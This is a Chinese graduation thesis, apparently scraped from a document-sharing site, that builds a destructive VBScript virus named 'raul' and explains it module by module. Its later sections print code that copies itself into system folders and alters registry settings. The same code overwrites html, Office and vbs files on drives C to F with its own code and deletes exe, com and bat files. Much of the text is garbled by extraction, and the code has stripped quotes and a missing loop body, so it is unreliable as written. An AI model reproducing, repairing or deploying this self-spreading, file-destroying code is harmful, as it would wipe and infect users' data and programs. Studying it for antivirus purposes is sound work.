一种简单的计算机病毒的实现毕业设计论文

上传人:痛*** 文档编号:60570262 上传时间:2022-03-08 格式:DOC 页数:32 大小:262.50KB
返回 下载 相关 举报
一种简单的计算机病毒的实现毕业设计论文_第1页
第1页 / 共32页
一种简单的计算机病毒的实现毕业设计论文_第2页
第2页 / 共32页
一种简单的计算机病毒的实现毕业设计论文_第3页
第3页 / 共32页
点击查看更多>>
资源描述
毕毕 业业 设设 计计( 论论 文文)一种简单的计算机病毒的实现一种简单的计算机病毒的实现论论文作者姓名:文作者姓名:申申请请学位学位专业专业: :申申请请学位学位类别类别: :指指导导教教师师姓姓名名( (职职称称) ): :论论文提交日期:文提交日期:一种简单的计算机病毒的实现一种简单的计算机病毒的实现摘摘 要要计算机病毒是干扰计算机正常运行并造成计算机软硬件故障,破坏计算机数据的能进行自我复制的计算机程序或指令集合。随着计算机在社会生活各个领域的广泛应用,计算机病毒攻击与防范技术也在不断拓展,防范计算机病毒也越来越受到高度重视。本论文从脚本病毒的基本理论和实现脚本病毒的关键技术出发,实现了一个简单的脚本病毒,深入分析了脚本病毒的机制及原理。本论文概述了计算机病毒的发展历史,发展趋势,简单介绍了实现脚本病毒所需要的VBScript,Windows脚本宿主(WSH)以及注册表的基本知识。重点讲述了该脚本病毒的工作原理以及各个模块所使用的主要技术,并以该脚本病毒的源代码为例,分析了设计思路,感染模块,破坏模块,标记模块的功能,实现了脚本病毒采用递归算法进行的搜索磁盘机制和感染机制。关键词:关键词:计算机病毒;注册表;Windows 脚本宿主;递归算法Implementation of a Kind of Simple Computer Virus AbstractThe computer virus is a self-copy computer program or a set of instruction that disturbs the computers normal operation. It can cause the computer software and hardware breakdown, and destroy the computer data. With the widespread application of computer in the social life of each area, the technology of computer virus assault and anti-virus is continuously developing, the technology of anti-virus attract more and more attention. Based on the script viruss theory and script viruss essential technology, a simple script virus is implemented and the script viruss mechanism and principle is analyzed. We outlined computer viruss history, tendency, some simply basic knowledge of VBScript, Windows Script Host and registry which the implementation of script virus requires. Then we focus on the principle of script virus and the main technology of each module, take the source code for instance, analyze the thought of the design, the function of infection module, deleting module and marking module. At last we introduce the infection mechanism and the disk searching mechanism which the recursion algorithm carries on.Key words: Computer virus; registry; Windows Script Host; Recursion algorithm目目 录录论文总页数:23 页1 引 言.12 病毒的发展史.12.1 计算机病毒的发展历史.12.2 计算机病毒的当前状况.12.3 计算机病毒的发展趋势.23 相关工具简要介绍.33.1 WSH(WINDOWS SCRIPT HOST)介绍 .33.2 VBSCRIPT语言简介.53.3 注册表基本知识.64 VBSCRIPT 脚本病毒特点及原理分析.74.1 VBSCRIPT脚本病毒的特点.74.2 VBSCRIPT脚本病毒原理分析.84.2.1 感染破坏文件部分.84.2.2 修改注册表.84.2.3 设置感染标记.85 脚本病毒的实现.85.1 脚本病毒必要知识.85.1.1 获取文本文件对象.95.1.2 对文件的操作.105.2 功能流程图.115.3 设计思路.115.4 功能模块实现.115.4.1 主函数模块.115.4.2 感染文件模块.145.4.3 搜索文件模块.155.4.4 破坏模块.165.4.5 注册表操作模块.175.4.6 感染标记模块.19结 论.20参考文献.21致 谢.22声 明.231 1 引引 言言近年来计算机技术高速发展,各种各样的新技术得到了应用,新技术的发展为我们带来了方便,使信息交流更加快捷有效,而病毒也随着计算机技术的广泛应用而得到了发展,从 DOS 到 Windows 再到 Internet,病毒无处不在,甚至愈演愈烈,对计算的破坏也在不断升级,研究病毒原理及结构迫在眉睫。知己知彼,百战百胜,研究计算机病毒有助于反病毒技术的发展,了解病毒的原理和结构才能清除和防治病毒,减少病毒给我们带来的损失。本文以一个脚本病毒为例,分别解析了计算机病毒的感染模块、破坏模块、搜索模块,解析病毒程序的一般结构。分析了各模块的功能特征,以及实现了一个脚本病毒,达到对脚本病毒原理进行深入分析的目的。此文的目的在于了解病毒的发展状况及病毒程序的设计思路,掌握病毒基础知识,使我们能够尽早的防治和尽快的发现病毒的存在,提高计算机的安全性,意义不言而喻。2 2 病毒的发展史病毒的发展史2.12.1 计算机病毒计算机病毒的发展历史的发展历史到了 1987 年,第一个电脑病毒 C-BRAIN 终于诞生了。一般而言,业界都公认这是真正具备完整特征的电脑病毒始祖。这个病毒程序是由一对巴基斯坦兄弟:巴斯特(Basit)和阿姆捷特(Amjad)所写的,他们在当地经营一家贩卖个人电脑的商店,由于当地盗拷软件的风气非常盛行,因此他们的目的主要是为了防止他们的软件被任意盗拷。只要有人盗拷他们的软件,C-BRAIN 就会发作,将盗拷者的硬盘剩余空间给吃掉。这个病毒在当时并没有太大的杀伤力,但后来一些有心人士以 C-BRAIN为蓝图,制作出一些变形的病毒。而其他新的病毒创作,也纷纷出笼,不仅有个人创作,甚至出现不少创作集团(如 NuKE,Phalcon/Skism,VDV)。各类扫毒、防毒与杀毒软件以及专业公司也纷纷出现。一时间,各种病毒创作与反病毒程序,不断推陈出新,百家争鸣。2.22.2 计算机病毒计算机病毒的当前状况的当前状况1计算机网络(互联网、局域网)成为计算机病毒的主要传播途径,使用计算机网络逐渐成为计算机病毒发作条件的共同点。计算机病毒最早只通过文件拷贝传播,当时最常见的传播媒介是软盘和盗版光碟。随着计算机网络的发展,目前计算机病毒可通过计算机网络利用多种方式(电子邮件、网页、即时通讯软件等)进行传播。计算机网络的发展有助于计算机病毒的传播速度大大提高,感染的范围也越来越广。可以说,网络化带来了计算机病毒传染的高效率。与以前计算机病毒给我们的印象相比,计算机病毒的主动性(主动扫描可以感染的计算机)、独立性(不再依赖宿主文件)更强了。2计算机病毒变形的速度极快并向混合型、多样化发展计算机病毒向混合型、多样化发展的结果是一些病毒会更精巧,另一些病毒会更复杂,混合多种病毒特征,如红色代码病毒(Code Red)就是综合了文件型、蠕虫型病毒的特性,这种发展趋势会造成反病毒工作更加困难。2004 年1 月 27 日,一种新型蠕虫病毒在企业电子邮件系统中传播,导致邮件数量暴增,从而阻塞网络。不同反病毒厂商将其命名为 Novarg、Mydoom、SCO 炸弹、诺威格、小邮差变种等,该病毒采用的是病毒和垃圾邮件相结合的少见战术,不知情用户的推波助澜使得这种病毒的传播速度似乎比近来其他几种病毒的传播速度要快。3运行方式和传播方式的隐蔽性微软安全中心发布的漏洞安全公告中 MS04-028 所提及的 GDI+漏洞,危害等级被定为“严重”。在被计算机病毒感染的计算机中,你可能只看到一些常见的正常进程如 svchost、taskmgr 等,其实它是计算机病毒进程。4利用操作系统漏洞传播操作系统是联系计算机用户和计算机系统的桥梁,也是计算机系统的核心,目前应用最为广泛的是 WINDOWS 系列的操作系统。随着 DOS 操作系统使用率的减少,感染 DOS 操作系统的计算机病毒也将退出历史舞台;随着WINDOWS 操作系统使用率的增加,针对 WINDOWS 操作系统的计算机病毒将成为主流。5计算机病毒技术与黑客技术将日益融合严格来说,木马和后门程序并不是计算机病毒,因为它们不能自我复制和扩散。但随着计算机病毒技术与黑客技术的发展,病毒编写者最终将会把这两种技术进行了融合。6物质利益将成为推动计算机病毒发展的最大动力从计算机病毒的发展史来看,对技术的兴趣和爱好是计算机病毒发展的源动力。但越来越多的迹象表明,物质利益将成为推动计算机病毒发展的最大动力。如今,不少银行都提供网上验证或密码钥匙,用户千万不要只图节省费用而冒失去巨大资金风险。买密码钥匙或数字证书是相当必要的。2.32.3 计算机病毒计算机病毒的发展趋势的发展趋势对所有脚本类病毒发展的展望:随着网络的飞速发展,网络蠕虫病毒开始流行,而 VBS 脚本蠕虫则更加突出,不仅数量多,而且威力大。由于利用脚本编写病毒比较简单,除了将继续流行目前的 VBS 脚本病毒外,将会逐渐出现更多的其它脚本类病毒,譬如 PHP,JS,Perl 病毒等。但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具,并且脚本病毒解除起来比较容易、相对容易防范。脚本病毒仍将继续流行,但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。计算机病毒的发展趋势:1高频度病毒疫情发作的频率高。造成较大影响的计算机病毒达到百余种之多。恶性病毒的比例大,病毒对计算机用户的危害增大;2传播速度快,危害面广由于网络的特征决定了国内计算机病毒几乎与国外病毒疫情同步爆发,且迅速大面积流行。目前对用户安全威胁最大的是恶性网络蠕虫病毒3病毒制作技术新与传统的计算机病毒不同的是,许多新病毒是利用当前最新的编程语言与编程技术实现,易于修改以产生新的变种,从而逃避反病毒软件的搜索。例如“爱虫”病毒是用 VBScript 语言编写的,只要通过 Windows 下自带的编辑软件修改病毒代码中的一部分,就能轻而易举地制造病毒变种,以躲避反病毒软件的追击。4病毒形式多样化病毒呈现多样化的趋势。病毒分析显示,虽然新病毒不断产生,但较早的病毒发作仍很普遍,并向卡通图片、ICQ、OICQ 等方面发展。 此外,新的病毒更善于伪装,如主题会在传播中改变,许多病毒会伪装成常用程序,或者将病毒代码写入文件内部长度而不发生变化,用来麻痹计算机用户。5病毒生成工具以往计算机病毒都是编程高手制作的,编写病毒显示自己的技术。“库尔尼科娃”病毒的设计者只是修改下载的 VBS 蠕虫孵化器,“库尔尼科娃”病毒就诞生了。据报道,VBS 蠕虫孵化器被人们下载了十五万次以上。由于这类工具在网络上可以很容易地获得,使得现在新病毒出现的频率超出以往任何时候。3 3 相关工具简要介绍相关工具简要介绍3.13.1 WSH(Windows Script Host)介绍)介绍VBS 代码在本地是通过 Windows Script Host(WSH)解释执行的。VBS 脚本的执行离不开 WSH,WSH 是微软提供的一种基于 32 位 Windows 平台的、与语言无关的脚本解释机制,它使得脚本能够直接在 Windows 桌面或者命令提示符下运行。利用 WSH,用户能够操纵 WSH 对象、ActiveX 对象、注册表和文件系统等。1概述WSH,是“Windows Scripting Host”的缩略形式,其通用的中文译名为“Windows 脚本宿主”。它是内嵌于 Windows 操作系统中的脚本语言工作环境。Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。MS-Dos下的批处理命令类似于如今的脚本语言。微软在研发 Windows 98 时,为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行,就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上,通过充当ActiveX 的脚本引擎控制器,WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。2组成WSH 自带的几个内置对象包括:由 Wscript.exe 提供的对象Wscript 作为 Wscript 公开给脚本引擎。WshArguments 通过 Wscript.Arguments 属性访问。由 WSHom.Ocx 提供的对象。WshShortcut 通过 WshShell.CreateShortcut 方法访问。WshUrlShortcut 通过 WshShell.CreateShortcut 方法访问。WshCollection 通过 WshNetwork.EnumNetworkDrives 访问。WshEnvironment 通过 WshShell.Environment 属性访问。WshSpecialFolders 通过 WshShell.Folder 属性访问。它们主要可以完成环境变量的获取,网络登陆,驱动器映射,快截方式创建,程序加载,特殊文件夹(如系统文件夹)信息获取等功能。3WSH 的作用WSH 的设计,在很大程度上考虑到了“非交互性脚本(no interactive scripting)”的需要。在这一指导思想下产生的 WSH,给脚本带来非常强大的功能,可以利用它完成映射网络驱动器、检索及修改环境变量、处理注册表项等工作;管理员还可以使用 WSH 的支持功能来创建简单的登陆脚本,甚至可以编写脚本来管理活动目录。而事实上,上述功能的实现,均与 WSH 内置的多个对象密切相关,这些内置对象肩负着直接处理脚本指令的重任。WSH 共有 14 个内置对象,它们各自有着明确分工。具体而言,位于最底部的 Wscript,主要作用是提取命令行变量,确定脚本文件名,确定 WSH 执行文件名(wscript.exe 还是 cscript.exe),确认 host 版本信息,创建、关连及分离 COM 对象,写入事件,按程序结束一个脚本文件的运行,向默认的输出设备(如对话框、命令行)输出信息等;WshArguments 的作用是获取全部的命令行变量;WshNamed 负责获取指定的命令行参数集;WshUnnamed 负责获取未经指定的命令行参数集;WshNetwork 的主要作用是开放或关闭网络共享,连接或断开网络打印机,映射或取消网络中的共享,获取当前登陆用户的信息;WshController 可以创建一个远程脚本对象;WshRemote 可以实现网络中对计算机系统的远程管理,也可按计划对其它程序/脚本进行处理;WshRemote Error的作用在于:当一个远程脚本(WshRemote 对象)因脚本错误而终止时,获取可用的错误信息;WshShell 主要负责程序的本地运行,处理注册表项、创建快捷方式、获取系统文件夹信息,处理环境变量;WshShortcut 主要用于按计划创建快捷方式;WshSpecialfolders 用于获取任意一个 Windows 特殊文件夹的信息;WshURLShortcut 用于按程序要求创建进入互联网资源的快捷方式;WshEnvironment 用于获取任意的环境变量(如 WINDIR,PATH,或 PROMPT);WshScriptExec 用于确定一个脚本文件的运行状态及错误信息。3.23.2 VBScript 语言简介语言简介Microsoft Visual Basic Scripting Edition 是程序开发语言 Visual Basic 家族的最新成员,它将灵活的脚本应用于更广泛的领域,包括 Microsoft Internet Explorer 中的 Web 客户机脚本和 Microsoft Internet Information Server 中的 Web服务器 Script。ActiveX ScriptVBScript 使用 ActiveX(R)脚本与宿主应用程序对话。使用 ActiveX Script,浏览器和其他宿主应用程序不再需要每个脚本部件的特殊集成代码。ActiveX脚本使宿主可以编译 Script、获取和调用入口点及管理开发者可用的命名空间。通过 ActiveX Script,语言厂商可以建立标准脚本运行时语言。Microsoft 将提供VBScript 的运行时支持。Microsoft 正在与多个 Internet 组一起定义。ActiveX 脚本标准以使脚本引擎可以互换。ActiveX 脚本可用在 Microsoft(R) Internet Explorer 和 Microsoft(R) Internet Information Server 中。VBScript 是 Microsoft Visual Basic 的简化版本。编程方法和 Visual Basic 基本相同。VBScript 只有一种数据类型,即,Variant 类型。VBScript 不支持 Visual Basic 中传统的 I/O 功能,即不能通过 Open 语句和函数在客户机上读写文件,这样防止了可能对客户机造成的危害;VBScript 不能调用 API 函数,这是因为 API 函数调用会危及客户机的安全,如病毒可以轻而易举地通过 API 函数调用来破坏客户机;Visual Basic 支持Screen、Printer、App、Debug、Err 和 Clipboard 等系统对象,但 VBScript 只支持 Err 对象,该对象用于为应用程序提供运行时错误处理。VBScript 既可编写服务器脚本,也可编写客户端脚本。客户端编程语言的优点是浏览器完成了所有的工作,这可以减轻服务器的负担,客户端程序运行起来比服务器端程序快得多。3.33.3 注册表基本知识注册表基本知识Windows 注册表是帮助 Windows 控制硬件、软件、用户环境和 Windows界面的一套数据文件,注册表包含在 Windows 目录下两个文件 system.dat 和user.dat 里。通过 Windows 目录下的 regedit.exe 程序可以存取注册表数据库。在以前,在 windows 的更早版本(在 Win95 以前),这些功能是靠win.ini,system.ini 和其他和应用程序有关联的.ini 文件来实现的.注册表(Registry)是操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”;是一个巨大的树状分层的数据库。它记录了用户安装在机器上的软件和每个程序的相互关联关系;它包含了计算机的硬件配置,包括自动配置的即插即用的设备和已有的各种设备说明、状态属性以及各种状态信息和数据等。在系统中注册表是一个记录 32 位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个 BIOS 支持的设备。无BIOS 支持的设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。WINDOWS 的注册表有六大根键:1HKEY_USERS该根键保存了存放在本地计算机口令列表中的用户标识和密码列表,即用户设置。每个用户的预配置信息都存储在 HKEY_USERS 根键中。HKEY_USERS 是远程计算机中访问的根键之一。其内容取决于计算机是否激活了用户配置文件,若未激活用户配置文件,则可以看到称为.DEFAULT 的单一子键,该子键包括和所有用户相关的各种设置,并且和Windows 下的USER.DAT 文件相配合。若激活了用户配置文件并且正确地执行了登录,则还有一个“用户名”的子键,该用户名为用户登录的名称。2HKEY_CURRENT_USER该根键包含本地工作站中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。3HKEY_CURRENT_CONFIG该根键存放着定义当前用户桌面配置(如显示器等)的数据,最后使用的文档列表(MRU)和其他有关当前用户的 Windows 98 中文版的安装的信息。4HKEY_CLASSES_ROOT该键由多个子键组成,具体可分为两种:一种是已经注册的各类文件的扩展名,另一种是各种文件类型的有关信息。左栏中的子键就是各种已经注册的文件扩展名。注册表内己经登记的文件扩展名中,有系统默认和应用程序自定义的扩展名。应用程序只有把自定义的扩展名在注册表中登记,系统才能识别和关联使用有关的文档,但只有经过注册的扩展名,系统才能自动关联。5HKEY_LOCAL_MACHINE注册表的核心,计算机的各种硬件和软件的配置均存在于此。它包括以下八个部分:Config 配置、Driver 驱动程序、Enum 即插即用、Hardware 硬件、Network 网络、Security 安全、Software 软件、System 系统。每部分中又包括许多子键。该根键存放本地计算机硬件数据,此根键下的子关键字包括在SYSTEM.DAT 中,用来提供 HKEY_LOCAL_MACHINE 所需的信息,或者在远程计算机中可访问的一组键中。该根键中的许多子键与 System.ini 文件中设置项类似。6HKEY_DYN_DATA该根键存放了系统在运行时动态数据,此数据在每次显示时都是变化的,因此,此根键下的信息没有放在注册表中。4 4 VBScript 脚本病毒脚本病毒特点及原理分析特点及原理分析4.14.1 VBScript 脚本病毒的特点脚本病毒的特点VBS 病毒是用 VBScript 编写而成,该脚本语言功能非常强大,它们利用Windows 系统的开放性特点,通过调用一些现成的 Windows 对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用 VBS 实现时变得极其容易。VBS 脚本病毒具有如下几个特点:1编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。2破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。3感染力强。由于脚本是直接解释执行,并且它不需要像 PE 病毒那样,需要做复杂的 PE 文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。4传播范围大。这类病毒通过 htm 文档,Email 附件或其它方式,可以在很短时间内传遍世界各地。5病毒源码容易被获取,变种多。由于 VBS 病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。6欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如“.jpg”,“.vbs”,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个 jpg 图片文件。7使得病毒生产机实现起来非常容易。8vbs 脚本病毒的弱点vbs 脚本病毒由于其编写语言为脚本,因而它不会像 PE 文件那样方便灵活,它的运行是需要条件的。1)绝大部分 VBS 脚本病毒运行的时候需要用到一个对象:FileSystemObject。2)VBScript 代码是通过 Windows Script Host 来解释执行的。3)VBS 脚本病毒的运行需要其关联程序 Wscript.exe 的支持。4)通过网页传播的病毒需要 ActiveX 的支持。5)通过 Email 传播的病毒需要 OE 的自动发送邮件功能支持,但是绝大部分病毒都是以 Email 为主要传播方式的。4.24.2 VBScript 脚本病毒原理分析脚本病毒原理分析4.2.14.2.1 感染破坏文件部分感染破坏文件部分定义系统文件操作对象,通过 getfolder 方法得到文件夹下的所有文件,通过 getextentionname 方法得到所有文件的后缀名,比较后缀名,如果后缀名是“html”,“htm”,“xls”,“doc”,“ppt”,“vbs”,则将 vbscopy 变量写入文件,覆盖原文件的内容,实现感染功能。如果后缀名是“exe”,“com”,“bat”,则直接删除文件。递归调用上述步骤。4.2.24.2.2 修改注册表修改注册表定义修改注册表过程 regcreate,调用 regcreate 过程实现注册表的修改4.2.34.2.3 设置感染标记设置感染标记打开当前文件,读入当前文件,判断是否有“Rem You have infected by raul virus”字段。如果匹配,则该文件已经被感染,如果无匹配,则实行感染操作。感染操作为读入病毒代码。具体步骤及实现代码请参见下一部分。5 5 脚本病毒的实现脚本病毒的实现5.15.1 脚本病毒必要知识脚本病毒必要知识FSO 简介FSO(File System Object)对象模型能对文件系统进行访问处理。该模型提供了一个基于对象的工具,通过它所提供的一系列属性和方法,可以在应用程序中更简单、灵活地对文件系统进行各种操作。FSO 对象模型包含以下几种对象:Drive 对象:允许收集系统物理或通过 LAN 与系统逻辑连接的硬盘、CDROM 等驱动器的可用空间、共享名等信息。Folder 对象:允许创建、删除或移动文件夹,并向系统查询文件夹的名称、路径等。Files 对象:允许创建、删除或移动文件,并向系统查询文件的名称、路径等。TextStream 对象:允许创建和读写文本文件。FileSystemObject 对象:提供一整套用于驱动器、文件夹和文件操作的方法,在功能上可以把它看作是上面几个对象的集合并且经常与它们配合使用。与该对象相关联的很多方法重复了前面四个对象中的方法,因此既可以通过FileSystemObject 对象来对驱动器、文件夹和文件进行大多数操作,也可以通过对应的驱动器、文件夹或文件对象对这些组件进行操作。FSO 模型通过两种方法实现对同一对象的操作,其操作效果是相同的,提供这种冗余功能的目的是为了实现最大的编程灵活性。5.1.15.1.1 获取文本文件对象获取文本文件对象1创建一个 FileSystemObject 对象实例要进行文件操作,首先必须创建一个 FileSystemObject 对象实例,用来创建或打开一个文件创建一个FileSystemObject 对象实例的具体格式为(以 FSO)为例:Set FSO = CreateObject(Scripting.FileSystemObjecct)2用 FileSystemObjec 来获取文本文件对象 TextStreamFileSystemObject 提供了两种方法用于获取文本文件对象 TextStream,其中用于创建文件的是 CreateTextFile,用于打开已存在文件的是 OpenTextFile,两种方法的返回结果都是一个 TextStream 对象的实例,利用该对象可以进行文件的具体操作创建一个新文件创建新文件的方法的具体格式为(以 FSO 为例):FSO.CreateTextFile(NewFileName,OverwriteExistingFile,IsUnicode)其中:NewFileName 是一个 string 值,指定要建立的文件的名称,通常为文件的实际路径加文件名称。OverwriteExistingFile 是一个 Boolean 值,表示如果有同名文件存在时是否覆盖原来的文件该参数可以省略,缺省时为 False,即不覆盖原来文件IsUnicode 是一个 Boolean 值,表示要建立的文件是 ASCII 文件还是Unicode 文件,该参数可以省略,缺省时为 False,即为 ASCII 文件打开已存在的文件打开已存在文件的方法的具体格式为(以 FSO 为例):FSO.OpenTextFile(FileName,IOMode,create,format)其中:FileName 是一个 string 值,指定要打开的文件的名称,通常为文件的实际路径加文件名称。IOMode 是常数值,表示打开文件的目的,ForReading(1)表示用于读取数据;ForAppending 表示用于增加数据该参数可以省略,缺省时为ForReadingCreate 是一个 Boolean 值,表示要打开的文件不存在时是否创建新文件,该参数可以省略,缺省时为 False,即不创建新文件。Format 表示文件打开的方式其可能的值及含义如下:TristateTrue:以 Unicode 的方式打开。TristateFalse:以 ASCII 的方式打开。TristateUseDefault:以系统默认的方式打开。该参数可以省略,缺省时为 TristateFalse,即 ASCII 方式5.1.25.1.2 对文件的操作对文件的操作在建立或打开了文件之后,就可利用对象 TextStream 提供的方法进行文件的实际操作了1用于写操作的方法有:Write(string)将由 string 指定的字符串写入到文件中。WriteLine(string)在文件中写入由 string 指定的字符串,并写入一个换行字符。参数 string 可以省略,此时将在文件中插入一个空行。WriteBlankLines(NumOfLines)在文件中插入若干空行,行数由 NumOfLines 指定。2用于读操作的方法和属性方法有:AtEndOfLine该属性是一个 Boolean 值,表示文件指针是否已指向当前行的行尾。AtEndOfStream该属性是一个 Boolean 值,表示文件指针是否已指向文件尾。Column该属性是一个整数值,表示文件指针在当前行中的位置。Line该属性是一个整数值,表示文件指针所在行的行号。Read(NumOfCharacters)该方法从文件当前位置开始,读入由 NumOfCharacters 数目指定的若干字符,返回一个字符串。ReadLine该方法从文件当前位置开始,读入当前行的内容直到行尾,返回一个字符串。ReadAll该方法从当前位置开始,读入整个文件的内容直到文件结束,返回一个字符串。Skip(NumOfCharacters)该方法从文件当前位置开始,跳过由 NumOfCharacters 数目指定的若干字符。SKipLine该方法从文件当前位置开始,跳过当前行的内容。3用于关闭文件的方法有:Close 关闭已经建立或打开的文件。5.25.2 功能流程图功能流程图脚本病毒程序流程:首先是初始化工作及创建主函数过程,其次是搜索文件,选择某一文件并判断感染条件,如果已经感染,则结束感染破坏文件模块,并选择下一文件。如果未感染,则执行感染破坏文件模块,再选择下一文件。并使用递归算法调用搜索文件模块本身,对子文件夹进行操作。对磁盘搜索,文件感染破坏操作完成后,执行注册表修改操作,最后结束程序。如图 1 所示5.35.3 设计思路设计思路1初始化部分:定义相关全局变量。2主函数部分:使用系统文件操作(FSO)对象来对各个文件进行操作,调用 scan 过程,磁盘遍历过程,注册表操作过程。3文件搜索部分:使用系统文件操作对象,通过调用 getfolder 方法,得到路径下的文件,再用递归算法,调用过程本身,实现对自文件夹的访问。4文件破坏部分:判断文件后缀,如果符合条件,执行删除操作。5文件感染部分:如果文件未感染,则将脚本病毒自身代码覆盖源文件,实现对目标文件的感染。6注册表操作部分:创建注册表键值修改过程,再调用该过程对注册表进行修改操作。5.45.4 功能模块实现功能模块实现5.4.15.4.1 主函数模块主函数模块该模块主要用到的对象:CreateObject 对象 创建注册表对象该模块主要用到的方法:RegRead 方法 读注册表键值Regcreate 方法 创建注册表键值否是是搜索文件选择文件执行破坏模块开始初始化文件是否感染执行感染模块搜索文件完毕结束否图 1 脚本病毒功能流程图代码解析:主函数模块首先创建了对注册表操作的对象,再调用 regread 方法和regcreate 方法,对执行 VBScript 脚本的 Windows 脚本宿主程序进行超时设置,加入防止操作超时的操作。然后将病毒文件复制到 windows 目录和 system32 目录下备份。再调用感染文件模块,破坏文件模块,注册表操作模块。关键代码如下:main()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject(WScript.Shell)rr=wscr.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout)if (rr=1) then wscr.regcreateHKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout, 0 ,REG_DWORD注释 - 防止操作超时造成的程序终止。end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)获取系统关键文件夹的名称Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&MSKernel32.vbs)c.Copy(dirwin&Win32DLL.vbs)c.Copy(dirsystem&raul.TXT.vbs)复制自身到关键目录中备用。m = msgbox(The virus is scanning!,0,raul-virus) 弹出警告窗口,病毒正在执行搜索功能scan(C: )m = msgbox(The virus is deleting your file!,0,raul-virus)delete(C: )scan(D: )delete(D: )scan(E: )delete(E: )scan(F: )delete(F: )regruns()end sub5.4.25.4.2 感染文件模块感染文件模块该模块主要用到的对象:Filesystemobject 对象 系统文件操作对象Files 对象 文件夹中所有文件的集合该模块主要用到的方法:GetFolder 方法 返回指定的文件夹对象Getextensionname 方法 返回包含文件扩展名的字符串Opentextfile 方法 打开指定的文件GetBaseName 方法 返回文件的基本名GetFile 方法 返回指定的文件Write 方法 将指定内容写入字符串Copy 方法 复制指定的文件代码解析:脚本病毒可以直接通过复制自身代码来感染文件。病毒中的绝大部分代码都可以直接加在另一程序中间。以下这部分代码就是感染文件模块的关键代码:1首先定义系统文件操作 fso。2然后调用 opentextfile 方法打开一个文件,并将该文件复制给 raul 对象。3判断文件名后缀,如果是 html,htm,xls,vbs,doc,ppt,则调用 write 方法,将满足上述后缀名的文件打开,并将病毒自身代码写入文件,实现感染操作。4之后调用 getbasename 方法得到要感染的文件的名称。5再将这个字符串覆盖写到源目标文件,并创建一个以源目标文件名为文件名前缀、以“vbs”为后缀的新文件。6最后删除源目标文件。关键代码如下:dim file,fc,raul,anameset fso = wscript.createobject(scripting.filesystemobject) set folder = fso.getfolder(lujing) set fc = folder.Filesext=fso.getextensionname(file.path)ext=lcase(ext)if(ext=html)or(ext=htm)or(ext=xls)or(ext=vbs)or(ext=doc)or(ext=ppt)thenset raul=fso.OpenTextFile(f1.path,2,true)raul.write vbscopyraul.closeaname=fso.GetBaseName(f1.path)set cop=fso.GetFile(f1.path)cop.copy(lujing &aname&.vbs)5.4.35.4.3 搜索文件模块搜索文件模块该模块主要用到的对象:Filesystemobject 对象 系统文件操作对象Files 对象 文件夹中所有文件的集合该模块主要用到的方法:Getfolder 方法 返回指定路径中的文件夹对象Subfolders 属性 返回由指定子文件夹组成的文件夹集合该模块运行截图效果如图 2 所示:图 2 病毒搜索模块运行截图效果代码解析:1首先本模块内定义了系统文件操作对象 fso。2然后调用 getfolder 方法,得到需要搜索的路径(scan 过程里面的参数即需要搜索的路径)的那个文件夹,并将该文件夹对象附给变量 folder。3再引用 files 属性,得到文件夹下面的所有子文件组成的文件集合,并将该对象附给变量 fc。4再通过 for 循环语句,实现对 fc(文件集合)下的所有文件依次进行感染标记判断,破坏,感染等操作。5接下来引用 subfolders 属性,将子文件夹集合这个对象附给变量 sf。6通过 for 循环语句,并且调用 scan 过程(递归算法),该递归算法能够遍历整个分区的目录和文件。实现对 sf(文件集合)下所有文件的依次操作。从而达到搜索整个文件夹的目的。关键代码如下:Sub scan (lujing)On error resume nextDim file,fcSet fso = wscript.createobject(“scripting.filesystemobject”)Set folder = fso.getfolder(lujing)Set fc = folder.filesFor each file in fc/*脚本病毒感染及删除模块语句*/NextSet sf = folder.subfoldersFor each file in sfScan(file)NextEnd sub5.4.45.4.4 破坏模块破坏模块该模块主要用到的对象:Filesystemobject 对象 系统文件操作对象Files 对象 文件夹中所有文件的集合该模块主要用到的方法:Deletefile 方法 删除指定的文件该模块运行截图效果如图 3 所示:图 3 病毒破坏模块运行截图效果代码解析:1首先定义系统文件操作 fso。2调用 getfolder 方法,得到指定路径下的文件夹。3对于文件夹下的每一个文件判断文件名后缀,如果是 exe,com,bat,则调用 deletefile 方法,将满足上述文件名后缀的文件直接删除,实现破坏功能。关键代码如下:Sub delete (lujing)On error resume nextDim file,fcSet fso = wscript.createobject(“scripting.filesystemobject”)Set folder = fso.getfolder(lujing)Set fc = folder.filesFor each file in fcif (ext=exe) or (ext=com) or (ext=bat) thenfso.deletefile(file.path)NextEnd sub5.4.55.4.5 注册表操作模块注册表操作模块该模块主要用到的函数:CreateObject 函数 创建注册表对象该模块主要用到的方法:Regwrite 方法 对指定的注册表项写入值代码解析:1该模块首先定义了创建注册表键值过程。调用 createobject 函数创建了注册表修改对象。调用 regwrite 方法,写入注册表的键值。2在 regruns 过程中调用了 